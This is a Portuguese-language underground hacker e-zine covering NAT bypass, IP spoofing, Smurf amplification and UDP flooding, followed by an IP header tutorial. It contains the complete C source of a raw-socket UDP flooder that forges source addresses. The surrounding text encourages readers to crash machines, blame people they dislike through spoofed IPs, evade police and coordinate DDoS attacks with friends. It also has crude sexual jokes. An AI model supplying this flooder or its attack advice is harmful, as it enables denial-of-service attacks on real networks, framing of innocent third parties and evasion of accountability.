caso o proprio router vai ser 1 redirecionador d portas. Muitas vezes 1 usuario comum
tem um IP valido, mas normalmente aquele endereco IP nao eh d 1 PC propriamente dito,
aquele endereco pode ser de um roteador. Quando vamo fazer 'finger printing' no host
daquele lamah chato, podemos entao dar de cara com um d-link da vida (Ai ai, q sauda-
de =7 - http://wWw.hunterhacker.xpg.com.br/router_sux.JPG), o que acontece eh q esse
router nao trabalha com roteamento dinamico e esta escondendo o maquina do lamah para
ninguem acessar ela a partir da internet. Quando existe de fato 'dinamic routing' ha-
bilitado no router, todos os requests de um scan por exemplo, sao 'entregues' ao host
alvo e o mesmo respondera, o router mais proximo da NAT simplesmente servira' como um
"intermediador" da conversa. Para acessarmos o tal do roteador podemos usar recursos
originados da NAT (como o webmin que trabalha na porta 1000 ou 10000) caso exista uma
ACL apenas permitindo conexao vinda da mesma =7

Eh muito comum para um lamah achar que, por estar sendo sendo filtrado por NAT, e so
poder acessar a rede externa, esta com os "coro" de molho... isso nao livra os coro
deles nao manohs de hacking ^^ Normalmente o router + proximo da vitima apenas permi-
te o acesso de dentro da NAT p/ fora (isso eu ja falei! \O/! rsrss...) assim o lammer
acha que ta protegido rsrsr (Eu tambem ja disse issu! \O/! rsrsr.. Ui...) O que fazer
numa hora dessas? =)

Pausa para a meditacao ninja....

Nunca se perguntaram como os programas de assistencia remota, como o "TeamViewer <-"
(muuuito show!), mostram a tela dos PC's na NAT? "Pense" bem... 'Se' nao adivinharem,
isso fica pro proximo texto manohs +) Ah!! Vou tambem mostrar como "tunelar NetBIOS"
ehehe. Acessar compartilhamentos com clientes d compartilhamentos (\O/!) q terao seus
requests redirecionados p/ dentro de maqunias com "compartilhamento" (double \O/!) eh
rulez! 6_Bl4ck9_f0x6 as you can see baby... Um otimo daemon para unix que faz redire-
cionamento de trafego eh o redirecionador 'Emperial redirect', um de meus excelentes
programas =7 Fiz ele em exatos... 35 minutos e 12 ou 13 segundos. Tava quebrando meu
record sabe, ser um genio requer desafios =] Eu ia chamar meu programa de: 'Xereca
redirect dois'. Pena q nao deu neh, mas isso seria legal, pois ele trabalha com uma
buceta, que recebe pica e dpois redireciona os spermas da buceta p/ aquele troco la q
faz os bebe ser gerado hHuahuaha!!!


OBS: Esperimentem usar o TeamViewer e vejam com eh simples manipular um desktop de IP
192.168.1.1 ate 192.168.1.254 (por exemplo) como se estivesse sentado na frente
'dele' ehheeh. Faca bom uso deste mapa acima "amigos" (Me refiro a eles mesmo :)


[]'s

by

6_Bl4ck9_f0x6 - Viper Corp Group



[=] + ======================================================= + [=]
Uma base sobre IP Spoofing, Smurf e Finger Printing.
[ Voando como um rei ]
[=] + ======================================================= + [=]


"Um kilo de "pena" forma um kilo de chumbo..."

-- 6_Bl4ck9_f0x6


Ooooii! Olha eu aqui mais uma vez ^^. Vou falar agora sobre IP Spoof, para ser mais
exato vou falar sobre IP Spoof p/ envio d datagramas UDP p/ derrubar maquinas podres,
com "conexoes" totalmente vagabundas ;) Esse negocio eh "bem" maneiro, sabendo esse
macete voce pode fazer prog's de recusa de servico forjando o endereco IP d origem e
ninguem vai te rastrear rsrsr. Ei!! Voce pode atacar usando o IP de algum cara que vc
odeia, assim ele vai levar a culpa e vai receber as respostas da vitima =) Se vc ata-
ca alguem e nao garante sua "anonimicidade", a policia pode bater na sua porta manoh!
Porque? Quando voce faz qualquer tipo (ou quase qualquer ;) de tramoia pela rede, seu
endereco IP tambem vai junto, para cada tipo de ataque existe uma forma diferente de
proteger quem esta' atacando. Quando vc pinga um host por exemplo, vai com junto com
o pacote o teu IP, pois a maquina d destino precisa responder. Facam um teste amigos.
Baixem o ethereal e configurem-o para farejar uma determinada interface e pronto, tu
teras acesso a todos os pacotes que entram e que saem, inclusive podera' interceptar
senhas com o Ethereal!! Obvioooooooooooo!!! Ele eh um sniffer ¬¬ Normalmente os dados
sao trafegados em plain text! Texto Pleno, ou texto puro como "preferem" alguns. Esse
termo eh usado p/ referenciar dados que sao transitados "sem o uso de criptografia",
assim vc podera' ver as senha no olho. Calma amigo, um sniffer nao consegue decriptar
senhas bancarias por calsa do ssl, o trafego eh encriptado, mas claro que vou ensinar
como catar senhas sobre essa criptografia podre eheheh... em um proximo texto ;) Para
instalar o Ethereal vc precisara' ter a biblioteca [Winpcap] instalada primeiro, da!
Claro! Ariehgua! Eu to escrevendo p/ diabo de dummie's ou p/ bgner's afinal d contas?
Aff! Vale lhes lembrar que varios programas necessitam do winpcap, tais como 'o' Cain
& Abel, Ethercap, etc. Por isso recomendo q vc nao sai de casa sem essa biblioteca na
pendrive!


Log's interceptados pelo Ethereal:


+--------------------+------------+-----------------+---------+-------------------+
|No. | Time | Source | Destination |Protocol |Info |
+--------------------+------------+-----------------+---------+-------------------+
| 3 | 7.391731 |192.168.1.2 | 192.168.1.1 | ICMP |Echo (ping) request|
+----+---------------+------------+-----------------+---------+-------------------+
| 4 + 7.391770 |192.168.1.1 | 192.168.1.2 | ICMP |Echo (ping) reply |
+----+---------------+------------+-----------------+---------+-------------------+


Acima voces podem ver que o IP de final 2 mandou 1 pacote ICMP do tipo echo request
para a minha interface, que possui o final 1. E tambem podera ver que a minha iface
retornou a resposta (Echo reply) p/ o 192.168.1.2. O Ethereal eh porreta!! Ele loga
tudo q entra e o q sai da tua interface ;P Estao conseguindo ver o tal do problema?
Veja pelos log's q isso acima ja ia por nosso ataque abaixo, pois nao queremos ser
identificados!! Entao vamos fingir ter um endereco IP que nao temos usando o IP
Spoofing! Outra boa utilizacao de IP Spoof para D.o.S eh o ataque baseado em Smurf,
onde nos apenas precisaremos aprender desenvolver programas p/ emisao d broadcast's
p/ enderecos de broadcast (Que coisa nao?) e fazer as maquinas q serao usadas como
"pioes", na rede alvo, achar q quem emitiu o request foi a vitima. Como?? Usando IP
Spoofing! ;) Spoof eh uma palavra em ingles q significa trapaca em portugues (Leia
'trapassa'), ou seja, trapaca de IP! Forjar o endereco IP de origem eh sim uma
trapaca. O sera' apresentado nest texto "NAO Eh" e "NEM PODE" ser considerado uma
tecnica nova, mas eh bom nos sabermos isso. Vale lembrar para a gelerinha que esta'
lendo est texto q:


Inventar algo novo eh legal gente!!


[1] * Breve introducao do ataque baseado em smurf. Extraido e adapatado da minha
tao amada e-zine Hacker, Underground, Hardcore e ElitE (eheh) C.O.D.E 0x00
Que brevemente vai ser retirada de circulacao ^^


Quando o atacante faz um ataque do tipo smurf, sua estacao ira emitir pacotes UDP,
mais necessariamente pacotes ICMP echo request p/ toda a "rede alvo" usando um tipo
de transmissao de dados chamada de broadcast, esse tipo de transmissao emiti pacotes
de dados para toda a rede, assim fazendo "toda a rede" (Todos os computadores) res-
ponderem. Nesse caso serao enviados pacotes ICMP echo request para os enderecos de
broadcast das redes onde existem computadores q serao usados como pioes p/ o ataque.
O IP de broadcast normalmente eh o x.x.x.255, quando nos emitimos pacotes para ende-
recos de broadcast, significa que a rede todinha se meche eheh.

Resumindo:

Mandamos pacotes para o endereco de Broadcast de alguma rede e apos isso (Se nossa
solicitacao passar pelo roteador/firewall, da vitima) nos "podemos" ateh brincar com
"varios" computadores ao mesmo tempo ^^. Para voce achar end's d Broadcast basta ver
o endereco da rede e tentar o endereco padrao de broadcast, q em uma grande maioria
das vezes eh configurado com o final 255 (Hi taker) =]

Exemplo.:

Vamos supor que eu queira varrer a seguinte rede:

IP: 189.17.34.2 [Cuidado amigo, vc ainda pode ter seu IP em txt's }:]
Netmask: 255.255.255.0 [O IP acima eh de classe C (literalmente), como vc pode ver :]


Eu com toda certeza do mundo, se soubesse atravez de Finger Print[X] que se tratava
de uma rede rodando sobre arquiterura Unix/Linux, chutaria p/ essa rede o seguinte
endereco de broadcast:

189.17.34.255

Sacou? Eheheh. Procure sempre mandar requisicoes para links rapidos manoh, nao mande
para maquinas mortas e fracas, procura backbones porra! Eiiita! Vai matar quem? rsrs
\O/ A intencao aqui eh floodar/derrubar, nao explodir a rede alvo rsrsrs Hauhauhah!!
Se bem que eh meio dificil achar um backbone q responda a pacotes ICMP echo request.


[X] -> Finger Printing ou Impressao digital, eh uma tecnica que consiste em determi-
nar atraves de servicos/portas (abertas =), banner's -.- Affz (etc) q nos en-
contramos no host remoto (Vitima! =), qual o OS (Operacional system - Sistema
operacional) em execucao por la. Como algumas distros do linux ja sujerem para
o end d broadcast a utilizacao do 255 no final do endereco da rede, nos entao
podemos inferir que naquela rede onde existem maquinas rodando sobre arquite-
tura Unix/Linux (Informacao essa q obtivemos atraves do uso d Finger Printing)
o endereco de broadcast eh de final 255. O nmap disponibiliza a funcao de FP,
p/ usa-la use o parametro -O (O maiusculo. Nao 0 (Zero)! =)


[-] -> O firewall do windows ja vem configurado por default para nao responder a tal
da solicitacao d eco de entrada, ou seja, antes do ataque eh emitido por nos
pacote(s) ICMP echo request ate os pioes e eles nao respondem, simplesmeste
discartao o(s) pacote(s) emitido(s). Assim eles nunca irao floodar a vitima.


Se o request passar...

Quando os pioes recebem o pacote ICMP do tipo echo request, imediatamente eles re-
tornam pacotes ICMP echo reply, ou melhor dizendo: Retornam "pongs" - Ping-Pong eheh
Ja que fiz um broadcast para mandar pacotes d requisicao para os host's pioes, entao
todos irao mandar pacotes ICMP echo reply quase que "simultaneamente", mas so que ao
inves de mandar os pacotes d resposta p/ o atacante (q lancou o broadcast), os dados
vao ser enviados p/ o(s) computador(es) da(s) vitima(s). Como? Ai que entra o tal IP
spoofing amigo. Quando emitimos os ping's (ICMP - Echo request) nos tambem craftamos
o endereco IP de origem, ou seja, nos "forjamos" o nosso endereco, a partir deste
momento estamos usando a tecnica chamada d IP spoofing p/ fazer os pioes acreditarem
que quem fez a solicitacao foi a coitada da vitima, assim fazendo com q o computador
alvo do ataque receba muitos pacotes ICMP echo reply como resposta d uma solicitacao
que "nao fez", consequentemente nao conseguindo processar todos os dados recebidos
(devido a grande quantidade de reply's) ocasionando o travamento do alvo. Ai temos
-1 maquina na internet ^^

Como voce pode notar...

O Smurf eh um ataque de D.o.S de amplificacao, ou seja, se emitirmos um pacote ping
(ICMP echo request) para o endereco de broadcast d alguma rede, todos os PC's desta
desta rede retornarao a mim pacotes ICMP do tipo echo reply, ja que "todos" vao re-
tornar o meu "unico" request, entao isso pode ser chamado de "amplificacao". Ae que
entra uma boa politica de compra de modulo de memoria kkkk! Por q tem muitos servi-
dores hoje em dia q nao usam muita memoria :( Como pode! Onde os porcos dos admin's
estao!? ^^ Smurf eh o canal! Brazil Underground Hacker Rulez!


[Protecao contra Smurf - Muito facil.]

Para se proteger desse ataque basta configurar seu firewall para nao responder a tal
da solicitaçao de eco de entrada e pronto, pois este ataque se aproveita do envio de
ICMP echo request, se voce ta barrando eles, fique tranquilo, "ESSE" ataque nao te
pega mais eheheh. Repare nas aspas, isso significa que de centenas de outros ataques
voce vai cair por um deles, sem duvida! Pode dificultar, mas se voce nao for bom...
me parar eh que voce nao vai ^^.

OBS: Estarei escrevendo algo mais tecnico brevemente!! Desculpem ai o trecho chocho!
E REPETITIVO...


Finalmente...


===========----------=============----
Flood - Foi no pipoco do trovao (Bum!)
===========----------=============----


O que!!!!? Nao sabes o que diabos eh Flood? Simples!! Como diria nosso amigo jack o
estripador: "Vamos por partes". Onde sera' que eu ouvi isso meu Deus? Ah! Darkers!!
rsrsr. Enfim, vou usar a analogia que o o sandimas (Ou foi o hash ? :P) usou no txt
d raw socket's. O sandmas eh famoso amigos! PHRACK INTERNATIONAL SCENE ON BRAZIL =)
Digamos que... ----------> flood eh um "cabo-de-guerra" (rsrs), onde quem tem mais
largura de banda ganha. "Nao", "confundam flood", com algum "outro tipo" de D.o.S
(Denial of Service - Recusa de Servico), pois flood, eh flood. Como saber se o q vc
esta fazendo eh flood? Se voce tiver "da sua maquina", mandando centenas d pacotes
p/ uma ou algumas (hauhau!) portas na maquina da vitima (Mesmo sem ter as portas em
escuta por la rss), e ela cair... Vc floodou ela. =) Vc chupou toda a memoria dela
rsrs. A principal caracteristica do flood eh que voce esta brigando sozinho com a
vitima, sacou? Se vc chamar outro amigo seu p/ "brincar", isso ai, alem d ser legal
jah passa a ser D.D.o.S (Distributed Denial of Service), e... recusa de servico
"distribuida" eh sacanagem ehehe Huahauh!! Que saudade dos velhos tempos Posseso =)
Logo adiante voces terao um codigo de um programa flooder capaz de craftar/forjar o
endereco IP de origem, assim voce nao eh rastreado ehehe. Compile e mande o codigos
para seus amigos hauahuha!! Se juntem e mandem bala kkkkk!! Ah! lembrando que voces
nao podem usar a versao 2.1 (a que crafta IP) do meu programa no windows (AAAAAAAAA
[triste] rsrs), mas a versao 0.1 e a 0.5 voces podem usar deboa, tanto no windows
quanto no linux. Ah! A versao 0.1 do Emp_Flood que eu postei la no thebuggers esta'
totalmente perfeita, so compilar (gcc -o Emp_Flood Emp_Flood.c) e rodar, mas infe-
lismente a versao 0.5 foi distribuida sem ser revisada :P ou seja, no linux vc vai
ver o Warning de 'SOCKET_ERROR' ('¬¬') undeclared e mais 2 (Se nao me falha a memo-
ria) Warning's chatos, mas nada que um programador em C nao possa resolver =) Ei!!
Isso nao significa q vc nao possa compilar ele perfeitamente bem no windows usando
o Dev-C++ link'ando a biblioteca winsock. Tools ---> Compiler Options --> Add these
commands to the linker command line -> e la' voce digita '-l wsock32' e depois OK.

ps: Meu compiler ta em ingles =7


Ah! -> Na versao 0.1 do Emp/flooder vc nao pode forjar o endereco de origem e ele
nem resolve nomes de hosts, porque eu nao tinha implementado essas funcoes
(Daaa! Claro, ariehgua! rsrs) ainda rsrs. Eu nao tinha falado isso? oO


Antes de brincar com flood...


[Dica] -> Tenha net rapida manoh! Veja o exemplo do sandimas/hash adaptado por mim
que eu garanto a nocao do perigo ^^:

O Hacker possui 150 MB/ps de largura de banda "disponivel" (Eita OO). A
vitima possui uma conexao de 1.5 MB/ps. Quem vc acha que vai ganhar? ^^
Putz, show!! Flood Rulez!


Eh importante lembrar que os programas "flood"ers normalmente sao programados (..?.. oO)
para emitir datagramas (Uniao do modulo UDP ao header IP). No "smurf" rola UDP/ICMP, ou
seja, tambem datagramas! Pois o header ICMP e encapsulado/multiplexado no modulo IP (ca-
mada 'Rede' no modelo TCP/IP ;) Para maiores informacoes consulte a referencia mais re-
ferenciada (hauhau!!!) do Brasil sobre encapsulamento de dados, a referencia -> [Pimba].


-- cut this file here --

/*
*
* =======================================
* ++++++ CORPORACAO VIBORA ++++++
* A cena Hacker Underground Brasileira
* =======================================
*
* Emperial Flooder[UDP] v2.1.1
* for "Unix/Linux" users rulez!
*
*
* Simple UDP Flooder coded by 6_Bl4ck9_f0x6
*
* Thanks to: UnixTextMode(UTM), VonNaturAustreVe,
* @lyxx, Reeves, Deborah, Mina Mistery, Morticia,
* Marcos Flavio, #phobia, Smurf Criminal_s, N1N4,
* Hash, Violador and all guys from thebuggers.in
*
* **********************************************
* http://www.thebuggers.in
* **********************************************
* Excelent Underground forum
* **********************************************
*
* Especial thanks to:
*
* All members Viper Corp Group.
*
*/


#include <stdio.h> // fprintf e tals.
#include <errno.h> // Library p/ checagem de erros.
#include <netdb.h> // struct hostent e functions...
#include <stdlib.h> // exit (), system () e tals.
#include <string.h> // bzero (), memcpy() e tals.
#include <unistd.h> // getuid (), close () e tals.
#include <arpa/inet.h> // inet_addr e tals.
#include <sys/types.h> // Neste header ficam shemales oO
#include <sys/socket.h> // sendto () e tals.
#include <netinet/in.h> // struct sockaddr_in, htons () e tals.
#include <netinet/ip.h> // struct iphdr e tals.
#include <netinet/udp.h> // struct udphdr e tals.

#define MAXIMUM_TRANSMISSION_UNIT 1500
#define PRINT printf

struct iphdr ip_rlz;
struct udphdr udp_rlz;
struct sockaddr_in Vitima;
struct hostent *host;

typedef unsigned char Viper_Corp_Rulez;

Viper_Corp_Rulez pacote[MAXIMUM_TRANSMISSION_UNIT];

int SoCk, uid=0, indice=0, msg_s=0,
XSS, x=1, bytes_send;

char * ip_origeM;
char * ip_destinO;
int port_origeM;
int port_destinO;

void send_UDP ();

int banner ();

int main (int argc_rulez, char *Matrix[]){

if (argc_rulez < 7){
banner ();
fprintf (stdout, "\nUso: %s <IP_Spoof> <Vitima> <Port_origem> <Port_Destino>\
<msg> <num_msgs>\n\n"
, *Matrix);
exit (-1);}

uid=getuid ();
if (uid != 0){
fprintf (stderr, " \n[Seu UID eh [%d], voce deve ser root para\
usar Raw Socket]\n\n"
, uid);
exit (-1);}

if ( (SoCk=socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1){
fprintf (stdout, "Erro ao criar socket\n");
exit (-1);}


int num_msg_s;
num_msg_s=atoi (Matrix[6]);
ip_origeM=Matrix[1];
ip_destinO=Matrix[2];
port_origeM=atoi (Matrix[3]);
port_destinO=atoi (Matrix[4]);
char *msg;msg=Matrix[5];

bzero (pacote, MAXIMUM_TRANSMISSION_UNIT);

ip_rlz.version=4;
ip_rlz.ihl=5;
ip_rlz.tos=0;
ip_rlz.id=htons (666);
ip_rlz.ttl=255;
ip_rlz.frag_off=0;
ip_rlz.check=0;
ip_rlz.protocol=IPPROTO_UDP;
ip_rlz.saddr=inet_addr (ip_origeM);
ip_rlz.daddr=inet_addr (ip_destinO);
ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) +
strlen (msg));

udp_rlz.dest=htons (port_destinO);
udp_rlz.source=htons (port_origeM);
udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg));

Vitima.sin_family=AF_INET;
Vitima.sin_port=udp_rlz.dest;
Vitima.sin_addr.s_addr=ip_rlz.daddr;

memcpy (&pacote, &ip_rlz, sizeof (struct iphdr));
indice=indice + sizeof (struct iphdr);
memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr));
indice+= sizeof (udp_rlz);
memcpy (&pacote[indice], msg, strlen (msg));
indice+= strlen (msg);

for (x;x <= atoi (Matrix[6]);x+=1){
send_UDP ();
msg_s++;}

close (SoCk);
PRINT ("\n--- Estatisticas e infos do ataque -------------\n\n");
PRINT ("Total de bytes enviados: [%d]\n", (strlen (Matrix[5]) * msg_s));
PRINT ("----------------------------------------\n");
return (0);
}

void send_UDP (){

if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima,
sizeof (struct sockaddr_in)) ) == -1){
fprintf (stdout, "%s", strerror (errno));
exit (-1);}

}

int banner (){

int cOc=0;
system ("clear");

char *banner[]={

"[=] + ===========[####]============ + [=]\n",
" *** Emperial Flooder[UDP] *** \n",
" XxX VIPER CORP GROUP XxX\n",
" <-> Underground Max <->\n",
"[=] + ==========[####]============ + [=]\n\n"};

while (cOc != 5){
printf ("%s", banner[cOc]);
++cOc;}
return 0;}


-- cut here --


[Pimba]

Referencias escritas por mim sobre o modelo OSI & TCP/IP

To mandando ae p/ voces dois link's. Caso um deles fique off, vc's podem tentam o outro
e tals. Caso os 2 links algum dia fiquem off, procurem meu nick no google, pois sempre
estarei divulgando minhas apelacoes =7 Meu nick soh tem 13 bytes gente, bem facim d de-
corar ele ^^ 6_Bl4ck9_f0x6 rulez!

[OSI & TCP/IP]

[1] - http://wWw.hunterhacker.xpg.com.br/Encapsulamento_OSI_&_TCP-IP.txt
[2] - http://wWw.hunterhacker.xpg.com.br/Encapsulamento_OSI_&_TCP-IP.txt <- Coincidencia? =)


-----[ http://wWw.hunterhacker.xpg.com.br/txt4.rar ]-----

Falow...

[]'s

by

6_Bl4ck9_f0x6 - Viper Corp Group



----- C4p1Tul0 07


[=] + =============================================== + [=]
O header IP v4 + UDP e seguimentos - PARTE 1
[=] + =============================================== + [=]



Bem, como sempre escrevo codigos de programas p/ envio de dados pela internet, nada
mais obvio q falar sobre o IP, q eh o protocolo utilizado para 'transportar' dados,
no TCP/IP. Considero o TCP/IP melhor q o IPX/SPX, ate pq o TCP/IP eh o protocolo de
comunicacao padrao da internet :P Agora uma pergunta pode aparecer, digamos que seja
essa: Po meu, p/ q eu quero saber isso? Eim???


1 - Resposta "nada" tentadora:

Bem, se voce eh daqueles caras q gostam de saber como a internet funciona, se voce
realmente tem interesse nisso, eu recomendo.


2 - Resposta "bem" tentadora }=)

Bem, se voce eh daqueles caras que gostam d saber como a internet funciona, se voce
realmente tem interesse nisso, eu recomendo. PORQUE SE VOCE SABE COMO FUNCIONA VOCE
TAMBEM VAI SABER COMO BURLAR! ehehheheheh!! Risada satanica: Huahuahhhauhsuhaushu!!
Se voce conhece todos os detalhes de um determinado assunto, isso significa que vc
pode evoluir esse tema e ainda de quebra vai saber BURLAR ESSE ASSUNTO HAUHUAHAUH!!
Normalmente eh assim amigo, se voce sabe como funciona, entende bem do esquema, vc
tambem vai conhecer as deficiencias e essas coisas ;) Vamos pre-julgar aqui q voce
ja tenha uma nocao basica do que seja o IP, se vc for bem iniciante gostaria de lhe
recomendar o meu primeiro livro "Hacker", um dos livros mais famosos que o Marcao
escreveu (Ele foi entrevistado na edicao passada! - Vejam a entrevista!!). Estou me
referindo ao:

-------['Guia do Hacker Brasileiro.']-------


Baixem o e-book deste livro aqui:

http://wWw.hunterhacker.xpg.com.br/Guia.do.Hacker.brasileiro.Comunidade_HackerBug.pdf.zip

Neste ebook vc vai saber o q eh mascara de subrede (netmask) e o q eh endereco d rede
rsrs... hauhaua!!! O IP eh Basicamente

 
composto por, dados que serao utilizados para
identificar o remetente (Vamos forjar =) e destinatario do pacote, e por mais algumas
coisas q o pacote IP precisa p/ trafegar na internet, e... Ele possui um seguimento
onde vao conter os dados que estao vindo da camada superior e tals. Tecnicamente fa-
lando, cada "modulo IP" possui uma identificacao ehehhe!! Para conhecer o esquema de
"enderecamento", veja o e-book acima! Continuando... O header/cabecalho IP é simples,
olhe abaixo e veja seus respectivos seguimentos (Ah!! Seguimento e "cada" parte que
compoe o cabecalho). Ah! Antes eu gostaria de lhes dizer que nomeei a ilustracao do
header seguindo o seguinte criterio:


+------------------------------+
| - Nome do seguimento - |
+------------------------------+
|[ Identificador na estrutura ]|
|[ Tamanho do seguimento ]| <--------- Onde tiver bit \O/!! Claro!!
+------------------------------+

Acho que nem precisa falar neh? mas como esse texto eh para bgners la vai:


ps: Como vc's irao ler no e-book q recomendei acima, o IP eh um endereco representado
por numeros separados por ponto (1.2.3.4), cada numero desse eh chamado de octeto
e vai de 0 a 255, mas voce so vai poder usar de 1 a 254... Bah! Leiam o e-book ai
em cima! Enfim, se voce nao souber disso, la vai: '1' byte e composto por 8 bits,
meu Deus! Que surpresa! '¬¬' E o IP possui 32 bits de tamanho! ¬¬ Tabom, eee dai?
Agora leia isso:


***************************
* Burlando filtros de URL *
***************************


-------[ http://wWw.hunterhacker.xpg.com.br/Furando_URLs.txt ]-------

Se esse link tiver off, procure este texto aqui:

-------[ http://wWw.darkers.com.br ]-------


Cabecalho IP versao 4


+---------------^-------------^--------------------------^------------------^
| - Versao - | - IHL - | - ToS Tipo de servico - | - Tamanho total- |
| [ Version ] | [ IHL ] | [ ToS ] | [ tot_len ] |
| [4 Bits] | [ 4 Bits ] | [ 8 Bits ] | [16 Bits] |
+---------------------------------------------------------------------------+
| - Identificacao - | - Flags - | Fragment offset |
| [ ID ] [ 16 Bits ] | [ 3 bits ] | [ frag_off ] [13 bits] |
+---------------------------------------------------------------------------+
| - Time to Live - | - Protocolo - | - Checksum do header IP - |
| [ ttl ] [8 bits] | [ Protocol ] [ 8 bits ] | [ check ] [16 bits] |
+---------------------------------------------------------------------------+
| - Endereco de origem (Source Address) - |
| [ saddr ] [ 32 bits ] |
+---------------------------------------------------------------------------+
| - Endereco de destinacao. (Destination Address) - |
| [ daddr ][ 32 bits ] |
+---------------------------------------------------------------------------+
| - Opcoes - | Padding |
| [ 24 bits (Ui!) ] | [ 8 bits ] |
+---------------------------------------------------------------------------+
| |
+ - DADOS - +
| |
+---------------------------------------------------------------------------+


struct:


struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl:4;
unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;
#else
# error "Please fix <bits/endian.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};


Ops, ja ia esquecendo de dizer. Vou citar primeiramente os seguimentos mais faceis
de serem entendidos. Nao vou seguir nenhuma ordem, quero dizer, a ordem deste dia-
grama acima (Esse quadrinho bonitinho - "Bonitinho" se voce tiver vendo este texto
com algum browser ou editor de textos que preste :P). Ah! Outro detalhe:


---[ CONHER HEADERS Eh O PRIMEIRO PASSO PARA A PROGRAMACAO DE RAW SOCKET'S ]---
---> Fazer sniffers, e essas malandragens devem lhe interesar }=) <---


No qual escreverei sobre, em um futuro BEM PROXIMO ;)


Veja a struct deste cabecalho:


Defined in: /usr/include/netinet/ip.h <---- Depende da distro Linux ;)


Que tal entendermos um pouco do codigo do Emperial Flooder? Se voce quiser aprender o tal
do 'Raw Socket' tu teras q conhecer os seguimentos dos protocolos da suite TCP/IP, o IP tb
faz parte dessa suruba ae chamada de TCP/IP, voce sabia dissu? Aprenda isso amigo, pois tu
vai ter que inserir tudo manualmente daí... ;) Lembre-se que utilizei a seguinte variavel
estrutura para referenciar os seguimentos do cabecalho IP (Definidos em iphdr): ip_rlz

Ou seja:

struct iphdr ip_rlz;


Vai! vai! vai!


Version - Versao


ip_rlz.version=4; <--- Versao 4 =7


Este seguimento especifica a versao do cabecalho IP que estamos enviando. Nesse caso eh a
versao 4. Ei ei ei, aguardem o IPv6 errasar huahau! Podem esperar amigos! Um dia ele vai!
Busquem infos sobre ele na internet, aqui ta rolando uma aulinha do IP v4 =) Ah!! Especi-
ficamos na struct um valor numerico como 4 ou '6'(?), e como voces devem saber, a placa d
rede (antes de enviar o pacote) converte o pacote em bits ([0 e 1] - 0's e 1's rsrs Cisco
ruleZ! =), tabom e dai? Converta o numero decimal 4 em binario q voce tera' 100, lembram
que este seguimento eh de 4 bits? Entao ele vai ser trafegado como 0100, porque o kernel
coloca os 0's automaticamente antes dos binario NAO EXATOS, neste caso ele so vai 'poder'
colocar mais um 0 A ESQUERDA, porque o seguimento eh de 4 bits, entendeu? Entao, a versao
do IP vai ser trafegada como 0100 para IP versao4 ( ;) e 0110 para a v6. Por que vc iria
querer saber isso? Simples, eu apenas estou "valorizando" meu texto sobre "como" Burlar
filtros d URL (Burlando filtros d URL), no qual estou explicando detalhadamente o proces-
so de conversao d binario p/ decimal e vice-versa, fazendo calculos na unha e na calcula-
dora. Alem de legal vc saber como os dados sao enviados, e tambem legal vc ter uma certi-
ficacao, q tal a da cisco? Isso mesmo amigo! Eles exigem q voce saiba converter as coisas
por la'! Se vc tiver dinheiro para fazer as provas ( ¬¬ :P ) e esse conhecimento, vai se
dar bem... O capitalismo fede =( Assim vai ficar mais facil voce arrumar um emprego e nao
vai precisar ficar limpando conta bancaria dos outros! Apesar d termos algumas possibili-
dades d versoes p/ IP (Faca as contas e veja quais os numeros decimais q cabem em 4 bits!
Leia meu texto! rsrs... =), atualmente temos duas, que sao: 4 e 6(?).


IHL - Internet Header Length - Comprimento do cabecalho internet


ip_rlz.ihl=5; <--- Ta assim no Emperial Flooder.


Bem, este campo determina o comprimento do cabecalho IP em... como todos nao cansam de
falar por ai: "Palavras de 32 bits". Esse termo eh derivado do WORD/palavra (16 bits) e
DWORD palavra dupla ('double word' - 32 bits), ambos integrantes do jargao do assembly.
Enfim, repare nos bits do diagrama acima, veja que cada fileira eh composta por linhas d
32 bits. Basta fazer a soma:


[1] = Primeira fileira

Version IHL ToS tot_len
4 Bits + 4 Bits + 8 Bits + 16 Bits = 32 bits (4 bytes)


[2] = Segunda fileira

ID flags frag_off
16 Bits + 3 bits + 13 bits = 32 bits (4 bytes)

....


E por ai vai. Entao, este seguimento "por padrao", ou seja, se nenhuma opcao for
"especificada", vai possui o valor '5'. Lembre-se de que ele armazena o comprimento do
cabecalho IP em multiplos de --> "4 bytes". Entao: 4 * '5' = 20 bytes. Para voce saber
quantos bits existem em um determinado numero de bytes, basta vc multiplicar o numero
de bytes por 8, q eh o numero de bits que formam 1 byte. Vamos ver quantos bits existem
em 20 bytes. 20 * 8 = 160. Agora some os bits das cinco primeiras filas do cabecalho IP.
32 * 5 = 160. Viu? Simples =) 32 bits vezes 5 fileiras = 160 bits q eh igual a 20 bytes.
Mas espera ai! Existem mais duas fileiras! Calma parceirao, se voce utilizar as tais das
"opcoes", o tamanho do cabecalho IP vai "aumentar" sim, para "contornar" (bypass) isso,
basta especificar um numero que multiplicado por 4, de no maximo 60 bytes, pois este se-
guimento eh de 4 bits... ou seja, eh permitido apenas 1 numero decimal ateh no maximo 15
eheh, acabei de falar qual eh o maximo ;) Veja na calculadora q o 15 em decimal equivale
ao numero binario: 1111 <-- 4 bits, que eh o tamanho do seguimento ;) Entao: 15 * 4 = 60
bytes, e 60 bytes sao suficientes para acomodar os bits acrescentados quando opcoes sao
inclusas no header IP "e tals" :)


ToS - Type of Service


ip_rlz.tos=0; <--- O zero indica que nao vamos usar flags (0 = desligado) =7


O seguimento Type of Service (Tipo de Servico) especifica como o pacote vai ser manipulado
pelos roteadores por onde o dito cujo passar. Nos podemos indicar a rota do pacote sinali-
zando isso no campo ToS (Olha eu outra vez =), indicar a rota d nosso pacote aos roteadores
( rsrsr! ) sem duvida eh bem interessante, se nao fosse pelo pequeno detalhe de q a maioria
das implementacoes de routers nao permitem a nos, darmos indicacoes a eles por onde enviar
os pacotes recebidos ( Huahau!! Professor rulez! =). Router q ignora este campo eh chato :(
da vontade de falar palavroes, la vai:

Pinto!

Outros dois imundos palavroes:

Peito!!
Bunda!!

rsrs! Basicamente este seguimento aceita 4 flags (QUE SERAO USADAS PARA FAZER OS ROUTERS
